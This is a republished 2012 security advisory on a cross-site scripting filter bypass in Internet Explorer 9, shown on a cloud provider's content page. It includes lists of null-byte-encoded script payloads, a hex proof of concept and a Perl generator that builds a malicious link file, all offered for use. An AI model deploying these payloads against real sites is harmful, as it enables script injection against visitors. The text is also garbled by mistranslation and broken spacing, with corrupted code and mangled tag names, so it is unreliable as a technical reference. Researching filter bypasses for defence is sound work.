Internet Explorer 9 XSS Filter Bypass

Source: Internet
Author: User

00 truncation does not seem to have been touched before, but character set encoding causes it to be bypassed a lot of the previous research. (You can study an alert that has been supplemented !) ------------------------------------------------------------------- Methods released by Insight-labs: <script> alert (1) </script> <script/% 00% 00% 00% 00> alert (1) </script> % 00% 00 v % 00% 00 <script> alert (1) </script> <script/% 00% 00 v % 00% 00> alert (1) </script> "; alert (1) // % c0"; alert (% 00) // % c0 "; // (% 0 dalert (1) // % c0 "; // (% 0 dalert (1) // % c0"; // (% 00% 0 dalert (1) // % c0 "// (% 000000% 0 dalert (1 )//---------------------------------------------- ---------------------####################################### ######### Internet Explorer 9 XSS Filter Bypass ######################## ######################### Discovered: jean Pascal Pereira <pereira@secbiz.de> Vendor information: "Internet Explorer (formerly Microsoft Internet Explorer and Windows Internet Explorer, commonly abbreviated IE or MSIE) is a series of graphical web browsers develo Ped by Microsoft and attached ded as part of the Microsoft Windows line of operating systems, starting in 1995. It was first released as part of the add-on package Plus! For Windows 95 that year. Later versions were available as free downloads, or in service packs, and supported in the OEM service releases of Windows 95 and later versions of Windows .. "Vendor URI: http://www.microsoft.com ######################################## ######## Issue: cross Site Scripting Filter Bypass ------------------------------------- Description: The Internet Explorer 9 offers a feature to eliminate suspicious pattern passed to the website by a parameter. for example, we have the following script: ----------------------------------------- <? Php echo $ _ GET ['a'];?> ----------------------------------- Let's call it "blah. php". Now we access the blah. php by using Internet Explorer 9 and try to execute a malicious string: http://localhost/ieb/blah.php?a= <Script> alert (1) </script> After this, we receive the message "Internet Explorer has modified this page to help prevent cross-site scripting ". the JavaScript won't be executed. ------------------------------------- Proof Of Concept: This trick may be known to some of you. internet Explorer allows stripping tags by inserting nullbytes. for example, the following string will be executed: 3C 73 00 63 72 69 70 74 3E 61 6C 65 72 74 28 31 29 3C 2F 73 00 63 72 69 70 74 3E Which is actually "<s [NULL] Regular> alert (1) </s [NULL] success> ". however, we won't be able to insert the nullbytes directly in the URI. the following example won't work: http://localhost/ieb/blah.php?a= <S % 00 margin> alert (1) </s % 00 margin> But there is still another possibility. grab a hex editor and create a file looking like the example given below: <a href =' http://localhost/ieb/blah.php?a= <S [NULL] alert> alert (1) </s [NULL] alert> '> Clickme </a> If you open the file and click the provided link, the script will be executed. ----------------------------------- Exploit (for the lazy folks ):-------------------------------------#! /Usr/bin/perl www.2cto.com use strict; use warnings; # Internet Explorer 9 XSS Filter Bypass Generator # Credit: Jean Pascal Pereira <pereira [at] secbiz.de> # http://0xffe4.org My $ target = shift | die ("No target defined"); my $ payload = shift | die ("No payload defined "); my $ lnk_txt = shift | "Click me :)"; open (OUT, ">: raw", "out.html "); print OUT "\ x3C \ x61 \ x20 \ x68 \ x72 \ x65 \ x66 \ x3D \ x27"; print OUT $ target; print OUT "\ x3C \ x73 \ x00 \ x63 \ x72 \ x69 \ x74 \ x3E"; print OUT $ payload; print OUT "\ x3C \ x2F \ x73 \ x00 \ x63 \ x72 \ x69 \ x74 \ x3E \ x27 \ x3E"; print OUT $ lnk_txt; print OUT "\ x3C \ x2F \ x61 \ x3E"; close (OUT); ------------------------------------- Example usage is: iefilter. pl http://www.example.com?var= Alert (1) ------------------------------------- Note: Exploitation via <a href = "ja [NULL] vascript :... links is also possible. ------------------------------------- Solution: Currently, no solution is available for this issue. -------------------------------------####################################### ######### < http://0xffe4.org > # 1337day.com [2012-10-25]

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.